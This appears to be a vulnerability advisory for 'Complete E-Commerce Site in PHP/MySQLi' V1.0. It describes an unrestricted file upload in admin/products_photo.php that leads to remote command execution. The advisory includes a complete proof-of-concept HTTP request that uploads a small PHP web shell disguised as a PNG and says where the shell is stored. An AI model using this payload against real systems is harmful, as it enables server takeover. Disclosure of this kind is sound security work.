Complete E-Commerce Site in PHP/MySQLi - Arbitrary file vulnerability uploading leads to command execution

[xuanluansec]

Complete E-Commerce Site in PHP/MySQLi - Arbitrary file vulnerability uploading leads to command execution

• Author: onelastcrush

Vendor Homepage

• https://www.sourcecodester.com/php/14234/complete-e-commerce-site-phpmysqli.html

Software Link

• https://www.sourcecodester.com/download-code?nid=14234&title=Complete+E-Commerce+Site+in+PHP%2FMySQLi

Overview

• onelastcrush has discovered a vulnerability classified as critical in Complete E-Commerce Site in PHP/MySQLi V1.0. The function upload is affected. This operation will result in unrestricted uploads. Remote attacks can cause RCE.

Vulnerability Details

• Complete E-Commerce Site in PHP/MySQLi V1.0
• Vulnerable File: admin/products_photo.php
• Parameter Names: filename
• Attack Type: Remote

Description

• A vulnerability, which was classified as critical, has been found in Complete E-Commerce Site in PHP/MySQLi. This issue affects the function upload. The manipulation with an unknown input leads to a unrestricted upload vulnerability.

Note

• To exploit this vulnerability, users need to log in, and the website allows any user to register by default.

Proof of Concept (PoC) :

POST /admin/products_photo.php HTTP/1.1
Host: www.ecommerce.com:8091
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------145108311014335905531894526533
Cookie: PHPSESSID=XXXXXXXXXX
Upgrade-Insecure-Requests: 1
Content-Length: 357

-----------------------------145108311014335905531894526533
Content-Disposition: form-data; name="photo"; filename="phpshell.php"
Content-Type: image/png

<?php system("dir");
-----------------------------145108311014335905531894526533
Content-Disposition: form-data; name="upload"

1
-----------------------------145108311014335905531894526533--

Location of vulnerabilities in source code

[xuanluansec]

Note: the uploaded PHP file is images/_xxxx.php, where xxxx is the current timestamp.